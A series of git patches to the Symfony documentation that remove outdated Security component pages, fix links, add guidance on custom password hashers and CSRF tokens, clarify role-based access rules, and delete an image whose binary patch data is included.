-    use Symfony\Component\HttpFoundation\RequestMatcher;
-    use Symfony\Component\Security\Http\Firewall\ExceptionListener;
-    use Symfony\Component\Security\Http\FirewallMap;
-
-    $firewallMap = new FirewallMap();
-
-    $requestMatcher = new RequestMatcher('^/secured-area/');
-
-    // array of callables
-    $listeners = [...];
-
-    $exceptionListener = new ExceptionListener(...);
-
-    $firewallMap->add($requestMatcher, $listeners, $exceptionListener);
-
-The firewall map will be given to the firewall as its first argument, together
-with the event dispatcher that is used by the :class:`Symfony\\Component\\HttpKernel\\HttpKernel`::
-
-    use Symfony\Component\HttpKernel\KernelEvents;
-    use Symfony\Component\Security\Http\Firewall;
-
-    // the EventDispatcher used by the HttpKernel
-    $dispatcher = ...;
-
-    $firewall = new Firewall($firewallMap, $dispatcher);
-
-    $dispatcher->addListener(
-        KernelEvents::REQUEST,
-        [$firewall, 'onKernelRequest']
-    );
-
-The firewall is registered to listen to the ``kernel.request`` event that
-will be dispatched by the HttpKernel at the beginning of each request
-it processes. This way, the firewall may prevent the user from going any
-further than allowed.
-
-Firewall Config
-~~~~~~~~~~~~~~~
-
-The information about a given firewall, such as its name, provider, context,
-entry point and access denied URL, is provided by instances of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallConfig` class.
-
-This object can be accessed through the ``getFirewallConfig(Request $request)``
-method of the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallMap` class and
-through the ``getConfig()``  method of the
-:class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallContext` class.
-
-.. _firewall_listeners:
-
-Firewall Listeners
-~~~~~~~~~~~~~~~~~~
-
-When the firewall gets notified of the ``kernel.request`` event, it asks
-the firewall map if the request matches one of the secured areas. The first
-secured area that matches the request will return a set of corresponding
-firewall listeners (which each is a callable).
-These listeners will all be asked to handle the current request. This basically
-means: find out if the current request contains any information by which
-the user might be authenticated (for instance the Basic HTTP authentication
-listener checks if the request has a header called ``PHP_AUTH_USER``).
-
-Exception Listener
-~~~~~~~~~~~~~~~~~~
-
-If any of the listeners throws an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-the exception listener that was provided when adding secured areas to the
-firewall map will jump in.
-
-The exception listener determines what happens next, based on the arguments
-it received when it was created. It may start the authentication procedure,
-perhaps ask the user to supply their credentials again (when they have only been
-authenticated based on a "remember-me" cookie), or transform the exception
-into an :class:`Symfony\\Component\\HttpKernel\\Exception\\AccessDeniedHttpException`,
-which will eventually result in an "HTTP/1.1 403: Access Denied" response.
-
-Entry Points
-~~~~~~~~~~~~
-
-When the user is not authenticated at all (i.e. when the token storage
-has no token yet), the firewall's entry point will be called to "start"
-the authentication process. An entry point should implement
-:class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`,
-which has only one method: :method:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface::start`.
-This method receives the current :class:`Symfony\\Component\\HttpFoundation\\Request`
-object and the exception by which the exception listener was triggered.
-The method should return a :class:`Symfony\\Component\\HttpFoundation\\Response`
-object. This could be, for instance, the page containing the login form or,
-in the case of Basic HTTP authentication, a response with a ``WWW-Authenticate``
-header, which will prompt the user to supply their username and password.
-
-Flow: Firewall, Authentication, Authorization
----------------------------------------------
-
-Hopefully you can now see a little bit about how the "flow" of the security
-context works:
-
-#. The Firewall is registered as a listener on the ``kernel.request`` event;
-#. At the beginning of the request, the Firewall checks the firewall map
-   to see if any firewall should be active for this URL;
-#. If a firewall is found in the map for this URL, its listeners are notified;
-#. Each listener checks to see if the current request contains any authentication
-   information - a listener may (a) authenticate a user, (b) throw an
-   ``AuthenticationException``, or (c) do nothing (because there is no
-   authentication information on the request);
-#. Once a user is authenticated, you'll use :doc:`/components/security/authorization`
-   to deny access to certain resources.
-
-Read the next articles to find out more about :doc:`/components/security/authentication`
-and :doc:`/components/security/authorization`.
diff --git a/components/security/secure_tools.rst b/components/security/secure_tools.rst
deleted file mode 100644
index a9d6e0fec3a..00000000000
--- a/components/security/secure_tools.rst
+++ /dev/null
@@ -1,56 +0,0 @@
-Securely Generating Random Values
-=================================
-
-The Symfony Security component comes with a collection of nice utilities
-related to security. These utilities are used by Symfony, but you should
-also use them if you want to solve the problem they address.
-
-.. note::
-
-    The functions described in this article were introduced in PHP 5.6 or 7.
-    For older PHP versions, a polyfill is provided by the
-    `Symfony Polyfill Component`_.
-
-Comparing Strings
-~~~~~~~~~~~~~~~~~
-
-The time it takes to compare two strings depends on their differences. This
-can be used by an attacker when the two strings represent a password for
-instance; it is known as a `Timing attack`_.
-
-When comparing two passwords, you should use the :phpfunction:`hash_equals`
-function::
-
-    if (hash_equals($knownString, $userInput)) {
-        // ...
-    }
-
-Generating a Secure Random String
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Whenever you need to generate a secure random string, you are highly
-encouraged to use the :phpfunction:`random_bytes` function::
-
-    $random = random_bytes(10);
-
-The function returns a random string, suitable for cryptographic use, of
-the number bytes passed as an argument (10 in the above example).
-
-.. tip::
-
-    The ``random_bytes()`` function returns a binary string which may contain
-    the ``\0`` character. This can cause trouble in several common scenarios,
-    such as storing this value in a database or including it as part of the
-    URL. The solution is to hash the value returned by ``random_bytes()`` with
-    a hashing function such as :phpfunction:`md5` or :phpfunction:`sha1`.
-
-Generating a Secure Random Number
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you need to generate a cryptographically secure random integer, you should
-use the :phpfunction:`random_int` function::
-
-    $random = random_int(1, 10);
-
-.. _`Timing attack`: https://en.wikipedia.org/wiki/Timing_attack
-.. _`Symfony Polyfill Component`: https://github.com/symfony/polyfill
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index ebc59a02bf5..da212517f0c 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -51,7 +51,7 @@ In addition, some components and official bundles provide other value resolvers:
     Injects the object that represents the current logged in user if type-hinted
     with ``UserInterface``. Default value can be set to ``null`` in case
     the controller can be accessed by anonymous users. It requires installing
-    the :doc:`Security component </components/security>`.
+    the :doc:`SecurityBundle </security>`.
 
 ``Psr7ServerRequestResolver``
     Injects a `PSR-7`_ compliant version of the current request if type-hinted
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index b2840d1a17d..6507463455f 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -681,11 +681,8 @@ migrating the blog from flat PHP to Symfony has improved your life:
   :doc:`routing </routing>`, or rendering :doc:`controllers </controller>`;
 
 * Symfony gives you **access to open source tools** such as `Doctrine`_ and the
-  `Templating`_,
-  :doc:`Security </components/security>`,
-  :doc:`Form </components/form>`, `Validator`_ and
-  `Translation`_ components (to name
-  a few);
+  `Templating`_, :doc:`Security </security>`, :doc:`Form </components/form>`,
+  `Validator`_ and `Translation`_ components (to name a few);
 
 * The application now enjoys **fully-flexible URLs** thanks to the Routing
   component;
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 5210d782ed3..0036347f776 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -4,7 +4,7 @@
 Security Configuration Reference (SecurityBundle)
 =================================================
 
-The SecurityBundle integrates the :doc:`Security component </components/security>`
+The SecurityBundle integrates the :doc:`Security component </security>`
 in Symfony applications. All these options are configured under the ``security``
 key in your application configuration.
 
diff --git a/security/passwords.rst b/security/passwords.rst
index 7f1f5b605b8..6bf37d51806 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -704,10 +704,12 @@ Supported Algorithms
 * :ref:`sodium <reference-security-sodium>`
 * :ref:`PBKDF2 <reference-security-pbkdf2>`
 
+* :ref:`Or create a custom password hasher <custom-password-hasher>`
+
 .. TODO missing:
-    * :ref:`Message Digest <reference-security-message-digest>`
-    * :ref:`Native <reference-security-native>`
-    * :ref:`Plaintext <reference-security-plaintext>`
+..  * :ref:`Message Digest <reference-security-message-digest>`
+..  * :ref:`Native <reference-security-native>`
+..  * :ref:`Plaintext <reference-security-plaintext>`
 
 .. _reference-security-encoder-auto:
 
@@ -772,6 +774,110 @@ Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
 Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
 to those newer hashing algorithms.
 
+.. _custom-password-hasher:
+
+Creating a custom Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to create your own, it needs to follow these rules:
+
+#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
+   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
+
+#. The implementations of
+   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
+   and :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
+   **must validate that the password length is no longer than 4096
+   characters.** This is for security reasons (see `CVE-2013-5750`_).
+
+   You can use the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
+   method for this check.
+
+.. code-block:: php
+
+    // src/Security/CustomVerySecureHasher.php
+    namespace App\Security;
+
+    use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
+    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
+
+    class CustomVerySecureHasher extends UserPasswordHasher
+    {
+        use CheckPasswordLengthTrait;
+
+        public function hashPassword(UserInterface $user, string $plainPassword): string
+        {
+            if ($this->isPasswordTooLong($user->getPassword())) {
+                throw new BadCredentialsException('Invalid password.');
+            }
+
+            // ... hash the plain password in a secure way
+
+            return $hashedPassword;
+        }
+
+        public function isPasswordValid(UserInterface $user, string $plainPassword): bool
+        {
+            if ($this->isPasswordTooLong($user->getPassword())) {
+                return false;
+            }
+
+            // ... validate if the password equals the user's password in a secure way
+
+            return $passwordIsValid;
+        }
+    }
+
+Now, define a password hasher using the ``id`` setting:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                app_hasher:
+                    # the service ID of your custom hasher (the FQCN using the default services.yaml)
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <!-- id: the service ID of your custom hasher (the FQCN using the default services.yaml) -->
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('app_hasher')
+                // the service ID of your custom hasher (the FQCN using the default services.yaml)
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
+
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
 .. _`libsodium`: https://pecl.php.net/package/libsodium
@@ -780,3 +886,4 @@ to those newer hashing algorithms.
 .. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
 .. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
 .. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
+.. _`CVE-2013-5750`: https://symfony.com/blog/cve-2013-5750-security-issue-in-fosuserbundle-login-form
diff --git a/security/voters.rst b/security/voters.rst
index 3755f9e3665..40d5de58b4e 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -24,24 +24,15 @@ this could look like, if you want to make a route accessible to the "owner" only
 In that sense, the following example used throughout this page is a minimal
 example for voters.
 
-.. tip::
-
-    Take a look at the
-    :doc:`authorization </components/security/authorization>`
-    article for an even deeper understanding of voters.
-
-Here's how Symfony works with voters:
-All voters are called each time you use the ``isGranted()`` method on Symfony's
-authorization checker or call ``denyAccessUnlessGranted()`` in a controller (which
-uses the authorization checker), or by
-:ref:`access controls <security-access-control-enforcement-options>`.
+Here's how Symfony works with voters: All voters are called each time you
+use the ``isGranted()`` method on Symfony's authorization checker or call
+``denyAccessUnlessGranted()`` in a controller (which uses the authorization
+checker), or by :ref:`access controls <security-access-control-enforcement-options>`.
 
 Ultimately, Symfony takes the responses from all voters and makes the final
-decision (to allow or deny access to the resource) according to the strategy defined
-in the application, which can be: affirmative, consensus, unanimous or priority.
-
-For more information take a look at
-:ref:`the section about access decision managers <components-security-access-decision-manager>`.
+decision (to allow or deny access to the resource) according to
+:ref:`the strategy defined in the application <security-voters-change-strategy>`,
+which can be: affirmative, consensus, unanimous or priority.
 
 The Voter Interface
 -------------------

From 6857f2476ab5938acd02125b3e825f0943169bdb Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Walter=20Nu=C3=B1ez?= <icarosnet@gmail.com>
Date: Thu, 23 Dec 2021 14:30:55 -0500
Subject: [PATCH 1541/5766] Warn about the _token field added automatically

documentation is incomplete the variable form._token is missing: https://symfony.com/doc/current/form/form_customization.html#form-variables-reference
---
 form/form_customization.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index e88c29e11d7..53bf83115ec 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,6 +74,16 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
+.. caution::
+
+   If you're rendering each field manually, make sure you don't forget the
+   ``_token`` field that is automatically added for CSRF protection.
+
+   You can also use ``{{ form_rest(form) }}`` (recommended) to render any
+   fields that aren't rendered manually. See
+   :ref:`the form_rest() documentation <reference-forms-twig-rest>` below for
+   more information.
+
 .. note::
 
     Later in this article you can find the full reference of these Twig

From e905f32eeb6dfb8b30dc34f5126b1e18cd65b614 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antonio=20J=2E=20Garc=C3=ADa=20Lagar?= <aj@garcialagar.es>
Date: Tue, 31 Mar 2020 08:04:05 +0200
Subject: [PATCH 1542/5766] Partially revert "fix voting on multiple roles
 behavior description" due to CVE-2020-5275

---
 security.rst                |  6 +++---
 security/access_control.rst | 15 ++++++++++-----
 2 files changed, 13 insertions(+), 8 deletions(-)

diff --git a/security.rst b/security.rst
index 4ec0df76f69..753a864eef7 100644
--- a/security.rst
+++ b/security.rst
@@ -513,7 +513,7 @@ start with ``/admin``, you can:
                 # require ROLE_ADMIN for /admin*
                 - { path: '^/admin', roles: ROLE_ADMIN }
 
-                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                # or require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
                 - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
 
                 # the 'path' value can be any valid regular expression
@@ -540,7 +540,7 @@ start with ``/admin``, you can:
                 <!-- require ROLE_ADMIN for /admin* -->
                 <rule path="^/admin" role="ROLE_ADMIN"/>
 
-                <!-- require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* -->
+                <!-- require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager) -->
                 <rule path="^/admin">
                     <role>ROLE_ADMIN</role>
                     <role>IS_AUTHENTICATED_FULLY</role>
@@ -568,7 +568,7 @@ start with ``/admin``, you can:
                 // require ROLE_ADMIN for /admin*
                 ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
 
-                // require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
+                // require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
                 ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
 
                 // the 'path' value can be any valid regular expression
diff --git a/security/access_control.rst b/security/access_control.rst
index 68c659095b2..658f44dccc1 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -44,7 +44,7 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
-                # when defining multiple roles, users must have at least one of them (it's like an OR condition)
+                # when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
                 - { path: '^/admin', roles: [ROLE_MANAGER, ROLE_ADMIN] }
 
     .. code-block:: xml
@@ -63,7 +63,7 @@ Take the following ``access_control`` entries as an example:
                 <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
-                <!-- when defining multiple roles, users must have at least one of them (it's like an OR condition) -->
+                <!-- when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager -->
                 <rule path="^/admin" roles="ROLE_ADMIN, ROLE_MANAGER"/>
             </config>
         </srv:container>
@@ -97,7 +97,7 @@ Take the following ``access_control`` entries as an example:
                 ],
                 [
                     'path' => '^/admin',
-                    // when defining multiple roles, users must have at least one of them (it's like an OR condition)
+                    // when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
                     'roles' => ['ROLE_MANAGER', 'ROLE_ADMIN'],
                 ],
             ],
@@ -156,8 +156,13 @@ options:
 
 * ``roles`` If the user does not have the given role, then access is denied
   (internally, an :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-  is thrown). If this value is an array of multiple roles, the user must have
-  at least one of them.
+  is thrown). If this value is an array of multiple roles, the user must have:
+  
+  * at least one of them when using the default ``affirmative`` strategy.
+  * more granted than denied roles when using the ``consensus`` strategy.
+  * all of them when using the ``unanimous`` strategy.
+  
+  For more details about different strategies, see :ref:`Access Decision Manager <components-security-access-decision-manager>`.
 
 * ``allow_if`` If the expression returns false, then access is denied;
 

From 88520847c3dd80070257ab4015dd5dd454dd171d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 24 Dec 2021 12:21:22 +0100
Subject: [PATCH 1543/5766] Remove ambiguous usage of multiple roles in
 access_control

---
 security.rst                | 11 +++++------
 security/access_control.rst | 17 +----------------
 2 files changed, 6 insertions(+), 22 deletions(-)

diff --git a/security.rst b/security.rst
index 753a864eef7..c32411e8ba2 100644
--- a/security.rst
+++ b/security.rst
@@ -513,8 +513,8 @@ start with ``/admin``, you can:
                 # require ROLE_ADMIN for /admin*
                 - { path: '^/admin', roles: ROLE_ADMIN }
 
-                # or require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
-                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
+                # or provide an expression for /admin* (e.g. to require multiple roles)
+                - { path: '^/admin', roles: 'is_granted("IS_AUTHENTICATED_FULLY") and is_granted("ROLE_ADMIN")' }
 
                 # the 'path' value can be any valid regular expression
                 # (this one will match URLs like /api/post/7298 and /api/comment/528491)
@@ -540,10 +540,9 @@ start with ``/admin``, you can:
                 <!-- require ROLE_ADMIN for /admin* -->
                 <rule path="^/admin" role="ROLE_ADMIN"/>
 
-                <!-- require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager) -->
+                <!-- or provide an expression for /admin* (e.g. to require multiple roles) -->
                 <rule path="^/admin">
-                    <role>ROLE_ADMIN</role>
-                    <role>IS_AUTHENTICATED_FULLY</role>
+                    <role>is_granted("IS_AUTHENTICATED_FULLY") and is_granted("ROLE_ADMIN")</role>
                 </rule>
 
                 <!-- the 'path' value can be any valid regular expression
@@ -569,7 +568,7 @@ start with ``/admin``, you can:
                 ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
 
                 // require multiple roles for /admin* (when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager)
-                ['path' => '^/admin', 'roles' => ['ROLE_ADMIN', 'IS_AUTHENTICATED_FULLY']],
+                ['path' => '^/admin', 'roles' => 'is_granted("IS_AUTHENTICATED_FULLY") and is_granted("ROLE_ADMIN")'],
 
                 // the 'path' value can be any valid regular expression
                 // (this one will match URLs like /api/post/7298 and /api/comment/528491)
diff --git a/security/access_control.rst b/security/access_control.rst
index 658f44dccc1..771c48b4677 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -44,8 +44,6 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_IP, ip: 127.0.0.1 }
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
-                # when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
-                - { path: '^/admin', roles: [ROLE_MANAGER, ROLE_ADMIN] }
 
     .. code-block:: xml
 
@@ -63,8 +61,6 @@ Take the following ``access_control`` entries as an example:
                 <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
-                <!-- when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager -->
-                <rule path="^/admin" roles="ROLE_ADMIN, ROLE_MANAGER"/>
             </config>
         </srv:container>
 
@@ -95,11 +91,6 @@ Take the following ``access_control`` entries as an example:
                     'roles' => 'ROLE_USER_METHOD',
                     'methods' => 'POST, PUT',
                 ],
-                [
-                    'path' => '^/admin',
-                    // when defining multiple roles, the behavior depends on the strategy used in Access Decission Manager
-                    'roles' => ['ROLE_MANAGER', 'ROLE_ADMIN'],
-                ],
             ],
         ]);
 
@@ -156,13 +147,7 @@ options:
 
 * ``roles`` If the user does not have the given role, then access is denied
   (internally, an :class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
-  is thrown). If this value is an array of multiple roles, the user must have:
-  
-  * at least one of them when using the default ``affirmative`` strategy.
-  * more granted than denied roles when using the ``consensus`` strategy.
-  * all of them when using the ``unanimous`` strategy.
-  
-  For more details about different strategies, see :ref:`Access Decision Manager <components-security-access-decision-manager>`.
+  is thrown).
 
 * ``allow_if`` If the expression returns false, then access is denied;
 

From 4be162832f7eb59634099b616d06e133afa70299 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antonio=20J=2E=20Garc=C3=ADa=20Lagar?= <aj@garcialagar.es>
Date: Mon, 27 Dec 2021 09:23:59 +0100
Subject: [PATCH 1544/5766] Remove `Build the Documentation Locally`

---
 contributing/documentation/overview.rst | 45 ++-----------------------
 1 file changed, 3 insertions(+), 42 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 756502b4214..0445047db9c 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -246,44 +246,8 @@ GitHub, click on the **Show all checks** link and finally, click on the
     Only Pull Requests to maintained branches are automatically built by
     SymfonyCloud. Check the `roadmap`_ for maintained branches.
 
-Build the Documentation Locally
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you have Docker installed on your machine, run these commands to build the
-docs:
-
-.. code-block:: terminal
-
-    # build the image...
-    $ docker build . -t symfony-docs
-
-    # ...and start the local web server
-    # (if it's already in use, change the '8080' port by any other port)
-    $ docker run --rm -p 8080:80 symfony-docs
-
-You can now read the docs at ``http://127.0.0.1:8080`` (if you use a virtual
-machine, browse its IP instead of localhost; e.g. ``http://192.168.99.100:8080``).
-
-If you don't use Docker, follow these steps to build the docs locally:
-
-#. Install `pip`_ as explained in the `pip installation`_ article;
-
-#. Install `Sphinx`_ and `Sphinx Extensions for PHP and Symfony`_
-   (depending on your system, you may need to execute this command as root user):
-
-   .. code-block:: terminal
-
-        $ cd _build/
-        $ pip install -r .requirements.txt
-
-#. Run the following command to build the documentation in HTML format:
-
-   .. code-block:: terminal
-
-       $ cd _build/
-       $ make html
-
-The generated documentation is available in the ``_build/html`` directory.
+To build a local copy of the documentation to review your changes, see the
+`Build the Documentation Locally`_ section in the README file.
 
 Frequently Asked Questions
 --------------------------
@@ -342,7 +306,4 @@ definitely don't want you to waste your time!
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
 .. _`SymfonyCloud`: https://symfony.com/cloud
 .. _`roadmap`: https://symfony.com/releases
-.. _`pip`: https://pip.pypa.io/en/stable/
-.. _`pip installation`: https://pip.pypa.io/en/stable/installing/
-.. _`Sphinx`: https://www.sphinx-doc.org/
-.. _`Sphinx Extensions for PHP and Symfony`: https://github.com/fabpot/sphinx-php
+.. _`Build the Documentation Locally`: https://github.com/symfony/symfony-docs#build-documentation-locally

From 356ae6ae0b418b8b7800105d293e0efde390922f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 12:39:32 +0100
Subject: [PATCH 1545/5766] Add redirections for deleted pages

---
 _build/redirection_map | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 1acae2a1667..0f5ae7c07c4 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -532,3 +532,8 @@
 /security/authenticator_manager /security
 /security/multiple_guard_authenticators /security/entry_point
 /security/guard_authentication /security/custom_authenticator
+/components/security/authentication /security#authenticating-users
+/components/security/authorization /security#access-control-authorization
+/components/security/firewall /security#the-firewall
+/components/security/secure_tools /security/passwords
+/components/security /security

From 37b7ac3eed8b9133108454c68bd2c8367d8c1622 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 15:02:08 +0100
Subject: [PATCH 1546/5766] Remove more outdated contents

---
 .../docs-pull-request-symfonycloud.png        | Bin 155671 -> 0 bytes
 contributing/documentation/overview.rst       |  25 +++++-------------
 2 files changed, 6 insertions(+), 19 deletions(-)
 delete mode 100644 _images/contributing/docs-pull-request-symfonycloud.png

diff --git a/_images/contributing/docs-pull-request-symfonycloud.png b/_images/contributing/docs-pull-request-symfonycloud.png
deleted file mode 100644
index 0c485c1491c428990b6c6467d3dad9e9fcd863ae..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 155671
zcmdqIV|1m_k}w=Q>2z${wr$(CZFP5SI~_ae*tTukw%_!<^Uch?Gt>S5%X+fbInPF6
zmv&X15IGr9SSSoA00013aWNqU001yF003Yh2(ZsLX{Mtq001!J=7NH9;(~&Bat^j8
z=2pf40Ae8ts^ChBLl~Kw3gTw|5Mq#RAqshtklDiU(G-gi;&|ELli`I<hpV9~w1xPz
zr<A{<YD42$_UWMXt>cCkk)0TH1rDbnO*&6_UbKFsH{I-I`L=hgHpQU>I9a$UnA4O%
z^JV7oq2PY)PK{3OC*THQ;sY`21d+ngr7<4p69y*x_O`Ki=IlrILP;Z0;T!p(I)w<a
z=LHbW7R(6Z;Dgiq0?;Y>sGtrAAcR}gkg0>Gye$roIjH9cFPXq586g?ZCKy4f%o1{i
z73>PcS8(N4O$AV!mYu0QI1#|L%!==l0MUy8;4}yiel5%e*c$^MH8?V&YG4MA#n8Sr
z^o(iR4^JAE#Qc4(spvZvMWUpmJLCI=!>jGkh%(IcuWu0~vBLe7j)BfCDRH>@y-dNL
zMCkNY@F#+=I#hB?g5e6np@T$q+!n)0j(TI8nqWnxeyA9rRph-}v8%~u5j=#7SmQs?
zD&T9yv^u3{N41IKgNV)8ERCM7s=l!)_Ul{jvs@ZcbV$4)hNctM2YwWY4Px*5DpE;E
z$q$6fL-!5Q!&?fD#vc#~6<gD#8GI!*nG`7qR_(V1uF8@__?ojnP+&CNy~BK8&Gn?$
zzDN+0jG5b|44Ts`20J0cBa7VewRcPalG8j|lq?ILJ2{LG4WnQjyM-v8$o#sGBM%h+
zDz&LHugM<6Go4~ILhiU6k0k+>#B6`tAJmS&<mn2{oL?)4Lxzhmjg>_P`-=`p4j}k<
zAQZXIM8Io)7Wjrcrn^qv;~2Y6V1{VW@14TA=;<*z7%`ouKxAOP0z@F!+3xry^7v%m
zpC<%0?q)!ZN<^TQ867$egKzkd27h!Qm#D|$+YW7hoeloj%J^b9_CuQeUKShEB8M5H
z506&TbTSrA1cq1yp(iA=5fUf(WoPOV9VU(Q{M!qh$je;jW%8tqn^>dBA>L{#g$~{e
z4K4~AILFT*JLz%sjs5Tyeid0RkS~6((U_*&B%PqRu-sKwc!w*97VN2m2}`~cZw*-O
z#m)VZ+Y<cbJ!D--K^LYLoaUZzRb-aW)<0&eOkm~`7@4lye8*W6P&#>zJteKa)}wMp
zVE2q0fLD=pc1P-sErOm#BYY{(5iL<>I;7S?mWA8>`q6_cyQ8Qs-elQk*>FO7r{@1l
ztce#$rrjw}DxH`@uWD<Y*2tdtHHJ{_yu!wALFGNFsG)d4YVHHLo9jWjVG_a54;>g7
